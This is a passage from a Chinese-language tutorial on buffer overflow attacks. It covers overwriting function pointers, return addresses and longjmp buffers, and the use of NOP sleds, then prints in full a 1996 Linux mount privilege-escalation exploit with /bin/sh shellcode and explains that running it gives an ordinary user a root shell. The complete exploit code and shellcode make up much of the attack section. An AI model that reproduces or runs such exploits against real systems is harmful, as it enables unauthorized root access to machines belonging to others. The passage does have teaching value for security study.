三、缓冲区溢出漏洞攻击方式
缓冲区溢出漏洞可以使任何一个有黑客技术的人取得机器的控制权甚至是最高权
限。一般利用缓冲区溢出漏洞攻击root程序,大都通过执行类似“exec(sh)”的执行代
码来获得root 的shell。黑客要达到目的通常要完成两个任务,就是在程序的地址空间
里安排适当的代码和通过适当的初始化寄存器和存储器,让程序跳转到安排好的地址空
间执行。
1、在程序的地址空间里安排适当的代码
在程序的地址空间里安排适当的代码往往是相对简单的。如果要攻击的代码在所
攻击程序中已经存在了,那么就简单地对代码传递一些参数,然后使程序跳转到目标中
就可以完成了。攻击代码要求执行“exec(‘/bin/sh’)”,而在libc库中的代码执行
“exec(arg)”,其中的“arg”是个指向字符串的指针参数,只要把传入的参数指针修
改指向“/bin/sh”,然后再跳转到libc库中的响应指令序列就可以了。当然,很多时
候这个可能性是很小的,那么就得用一种叫“植入法”的方式来完成了。当向要攻击的
程序里输入一个字符串时,程序就会把这个字符串放到缓冲区里,这个字符串包含的数
据是可以在这个所攻击的目标的硬件平台上运行的指令序列。缓冲区可以设在:堆栈(
自动变量)、堆(动态分配的)和静态数据区(初始化或者未初始化的数据)等的任何
地方。也可以不必为达到这个目的而溢出任何缓冲区,只要找到足够的空间来放置这些
攻击代码就够了。
2、控制程序转移到攻击代码的形式
缓冲区溢出漏洞攻击都是在寻求改变程序的执行流程,使它跳转到攻击代码,最
为基本的就是溢出一个没有检查或者其他漏洞的缓冲区,这样做就会扰乱程序的正常执
行次序。通过溢出某缓冲区,可以改写相近程序的空间而直接跳转过系统对身份的验
证。原则上来讲攻击时所针对的缓冲区溢出的程序空间可为任意空间。但因不同地方的
定位相异,所以也就带出了多种转移方式。
(1)Function Pointers(函数指针)
在程序中,“void (* foo) ( )”声明了个返回值为“void” Function
Pointers的变量“foo”。Function Pointers可以用来定位任意地址空间,攻击时只需
要在任意空间里的Function Pointers邻近处找到一个能够溢出的缓冲区,然后用溢出
来改变Function Pointers。当程序通过Function Pointers调用函数,程序的流程就会
实现。
(2)Activation Records(激活记录)
当一个函数调用发生时,堆栈中会留驻一个Activation Records,它包含了函数
结束时返回的地址。执行溢出这些自动变量,使这个返回的地址指向攻击代码,再通过
改变程序的返回地址。当函数调用结束时,程序就会跳转到事先所设定的地址,而不是
原来的地址。这样的溢出方式也是较常见的。
(3)Longjmp buffers(长跳转缓冲区)
在C语言中包含了一个简单的检验/恢复系统,称为“setjmp/longjmp”,意思是
在检验点设定“setjmp(buffer)”,用longjmp(buffer)“来恢复检验点。如果攻击时
能够进入缓冲区的空间,感觉“longjmp(buffer)”实际上是跳转到攻击的代码。像
Function Pointers一样,longjmp缓冲区能够指向任何地方,所以找到一个可供溢出的
缓冲区是最先应该做的事情。
3、植入综合代码和流程控制
常见的溢出缓冲区攻击类是在一个字符串里综合了代码植入和Activation
Records。攻击时定位在一个可供溢出的自动变量,然后向程序传递一个很大的字符串
,在引发缓冲区溢出改变Activation Records的同时植入代码(权因C在习惯上只为用
户和参数开辟很小的缓冲区)。植入代码和缓冲区溢出不一定要一次性完成,可以在一
个缓冲区内放置代码(这个时候并不能溢出缓冲区),然后通过溢出另一个缓冲区来转
移程序的指针。这样的方法一般是用于可供溢出的缓冲区不能放入全部代码时的。如果
想使用已经驻留的代码不需要再外部植入的时候,通常必须先把代码做为参数。在libc
(熟悉C的朋友应该知道,现在几乎所有的C程序连接都是利用它来连接的)中的一部分
代码段会执行“exec(something)”,当中的something就是参数,使用缓冲区溢出改变
程序的参数,然后利用另一个缓冲区溢出使程序指针指向libc中的特定的代码段。
程序编写的错误造成网络的不安全性也应当受到重视,因为它的不安全性已被
缓冲区溢出表现得淋漓尽致了。
四、利用缓冲区溢出进行的系统攻击
如果已知某个程序有缓冲区溢出的缺陷,如何知道缓冲区的地址,在哪儿放入
shell代码呢?由于每个程序的堆栈起始地址是固定的,所以理论上可以通过反复重试
缓冲区相对于堆栈起始位置的距离来得到。但这样的盲目猜测可能要进行数百至上千次
,实际上是不现实的。解决的办法是利用空指令NOP。在shell代码前面放一长串的NOP
,返回地址可以指向这一串NOP中任一位置,执行完NOP指令后程序将激活shell进程。
这样就大大增加了猜中的可能性。下面是一个缓冲区溢出攻击的实例,它利用了系统程
序mount的漏洞:
example5.c
/* Mount Exploit for Linux, Jul 30 1996
Discovered and Coded by Bloodmask & Vio
Covin Security 1996
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>
#define PATH_MOUNT "/bin/umount"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50
u_long get_esp()
{
__asm__("movl %esp, %eax");
}
main(int argc, char **argv)
{
u_char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
int i;
int ofs = DEFAULT_OFFSET;
buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
/* fill start of buffer with nops */
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
/* stick asm code into the buffer */
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];
addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr = 0;
(void)alarm((u_int)0);
printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n");
execl(PATH_MOUNT, "mount", buff, NULL);
}
程序中get_esp()函数的作用就是定位堆栈位置。程序首先分配一块暂存区buff,
然后在buff的前面部分填满NOP,后面部分放shell代码。最后部分是希望程序返回的地
址,由栈地址加偏移得到。当以buff为参数调用mount时,将造成mount程序的堆栈溢出
,其缓冲区被buff覆盖,而返回地址将指向NOP指令。
由于mount程序的属主是root且有suid位,普通用户运行上面程序的结果将获得
一个具有root权限的shell。
_________________________________________________________________
免费下载 MSN Explorer: http://explorer.msn.com/lccn/